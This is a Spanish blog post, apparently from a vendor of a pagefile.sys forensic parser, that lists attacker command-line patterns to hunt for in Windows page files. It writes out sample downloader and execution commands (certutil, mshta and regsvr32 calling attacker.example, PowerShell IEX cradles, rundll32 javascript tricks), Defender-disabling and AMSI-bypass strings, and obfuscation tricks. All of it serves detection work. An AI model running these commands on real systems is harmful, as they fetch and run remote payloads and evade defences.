Saltar al contenido
← Volver al blog

Detectar líneas de comando de malware en pagefile.sys

20/5/2026 · 5 min de lectura

Cuando un atacante ejecuta cualquier cosa en un host Windows, la línea de comandos vive en memoria mientras exista el proceso padre — y a menudo más tiempo, en cachés como los buffers de eventos de Sysmon, el historial de cmd.exe y las estructuras PROCESSINFO del kernel. Cuando esa memoria se pagina, la línea de comandos acaba en pagefile.sys.

La pestaña Artifacts → Command lines del parser captura automáticamente los patrones más comunes. Este post es la referencia de cuáles son esos patrones, qué pinta tienen y cómo intentan ofuscarse los atacantes.

Shortlist de LOLBins

Los binarios de Windows a los que los atacantes recurren con más frecuencia, todos los cuales producen formas características de línea de comandos:

BinarioPor qué lo usan los atacantes
powershell.exe / pwsh.exeScripting, payloads codificados, trucos de bypass de AMSI
cmd.exeAcceso a shell, tuberías, descargadores simples
certutil.exe-urlcache -split -f — descargador de archivos, decodificación base64
bitsadmin.exetransfer myjob /download … — descargador de archivos
mshta.exeEjecuta HTA / JScript / VBS desde URL
rundll32.exeCarga DLL arbitraria, ejecuta export con nombre
regsvr32.exe"Squiblydoo" — /s /i:http://…/payload.sct scrobj.dll
wmic.exeprocess call create, movimiento lateral
wscript.exe / cscript.exeEjecución de VBS / JScript
installutil.exeBypass de AppLocker con .NET InstallUtil
msbuild.exeEjecución de tareas inline de C# arbitrario

Patrones de PowerShell

PowerShell es, con diferencia, la mayor fuente de líneas de comandos de atacante en los dumps de pagefile. Qué hacer grep:

powershell.exe -nop -w hidden -enc <base64>
powershell -ExecutionPolicy Bypass -File C:\…
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://…')"
powershell -EncodedCommand <base64>
pwsh -nop -ep bypass -c "…"

El comando codificado es el más útil: decodifícalo en base64 (es UTF-16LE dentro) y obtienes la fuente real de PowerShell. La pestaña Artifacts → Command lines del parser captura hasta 256 caracteres tras el token powershell, lo que suele ser suficiente para capturar el payload -enc completo.

Cuando veas -enc o -EncodedCommand:

echo "<base64>" | base64 -d | iconv -f UTF-16LE -t UTF-8

…para decodificarlo.

Otras señales de PowerShell que merece la pena grepear en la pestaña Strings:

  • [System.Net.WebClient], Net.WebClient, DownloadString, DownloadFile.
  • Invoke-Expression, IEX, iex.
  • [System.Reflection.Assembly]::Load, [Reflection.Assembly]::Load — carga de .NET en memoria.
  • [Convert]::FromBase64String — casi siempre va seguido de un payload.
  • AmsiUtils, amsiInitFailed — intentos de bypass de AMSI.
  • Set-MpPreference -DisableRealtimeMonitoring — desactivación de Defender.

Descargadores certutil

Un patrón clásico de descarga de archivos:

certutil.exe -urlcache -split -f http://attacker.example/payload.exe out.exe
certutil -urlcache -split -f https://… encoded.b64
certutil -decode encoded.b64 out.exe

certutil está firmado por Microsoft y preinstalado en todas partes, así que a los atacantes les encanta. Filtra la pestaña de artefactos Command lines por certutil o grepea la pestaña Strings por -urlcache.

Descargadores bitsadmin

bitsadmin /transfer myjob /download /priority high http://… C:\Users\Public\x.exe

Menos común en encargos modernos pero todavía visto en familias de malware antiguas.

mshta y payloads HTA

mshta.exe http://attacker.example/p.hta
mshta vbscript:CreateObject("Wscript.Shell").Run("…")
mshta javascript:…

Variaciones sobre mshta vbscript:… y mshta javascript:… son particularmente dignas de grepear — se ejecutan inline sin tocar nunca disco.

rundll32 + sideloading de DLL

rundll32.exe shell32.dll,#61 "C:\…"
rundll32.exe C:\Users\Public\evil.dll,DllMain
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();…

La variante javascript: existe gracias a un capricho de moniker de Microsoft. Filtra por rundll32 e inspecciona cada uno — la mayoría de llamadas legítimas a rundll32 tienen un ordinal numérico o un nombre de DLL de Microsoft reconocible; cualquier cosa que cargue desde %TEMP%, %PUBLIC%, %PROGRAMDATA% o un perfil de usuario es sospechoso.

regsvr32 "Squiblydoo"

regsvr32 /s /n /u /i:http://attacker.example/payload.sct scrobj.dll

Un binario firmado por Microsoft que carga contenido scriptlet remoto. Busca regsvr32 + http.

WMIC para movimiento lateral

wmic /node:target process call create "powershell -enc …"
wmic process where name='lsass.exe' get processid

wmic /node: es la pistola humeante del movimiento lateral — el uso administrativo legítimo es poco común en estaciones de trabajo.

Ofuscación living-off-the-land

Los atacantes del mundo real ofuscan. Trucos habituales que aun así dejan fragmentos legibles en el pagefile:

  • Cadenas invertidas: ('xeotuper' | ForEach-Object {…}) — lee la cadena al revés.
  • Arrays de char-code: [char[]](0x70,0x6f,0x77,…) — decodifica a ASCII.
  • Concatenación de cadenas: "po" + "wer" + "shell" — ambas mitades quedan en memoria como cadenas decodificadas.
  • Sustitución por variables de entorno: %comspec% /c …, %PSEXEC%.
  • Alternancia de mayúsculas: PoWeRsHeLl — a Windows no le importa la caja, pero confunde al grep simple. La regex del parser usa coincidencia case-insensitive por defecto.

La cadena decodificada casi siempre acaba en memoria en tiempo de ejecución — así que aunque la invocación esté ofuscada, la línea de comandos efectiva aparece como cadenas planas legibles cerca.

Cross-referencia con timestamps

Un pagefile por sí solo no tiene timestamps. Para anclar en el tiempo un hallazgo:

  • Empareja con el log de eventos Microsoft-Windows-Sysmon/Operational (EventID 1, creación de proceso) — la misma línea de comandos aparece con un timestamp.
  • Empareja con PowerShell Microsoft-Windows-PowerShell/Operational (EventID 4104, logging de bloques de script).
  • Empareja con el log Security (EventID 4688, creación de proceso, si AuditProcessCreation está activado con auditoría de línea de comandos).

Si también tienes esos logs de eventos, el flujo es: encuentra la línea de comandos sospechosa en el pagefile → empárejala con el registro EVTX → obtén el árbol de procesos, padre, usuario, timestamp.

Qué pilla la regex de esta herramienta

La regex de artefactos command matchea hasta 256 caracteres tras cualquiera de: cmd.exe, powershell / pwsh, wscript.exe, cscript.exe, rundll32.exe, mshta.exe, regsvr32.exe, certutil.exe, bitsadmin.exe. Case-insensitive. Eso cubre la mayoría del tradecraft práctico de los atacantes.

Para el resto — wmic, installutil, msbuild, vssadmin delete shadows, etc. — usa la pestaña Strings y filtra a mano.

Relacionado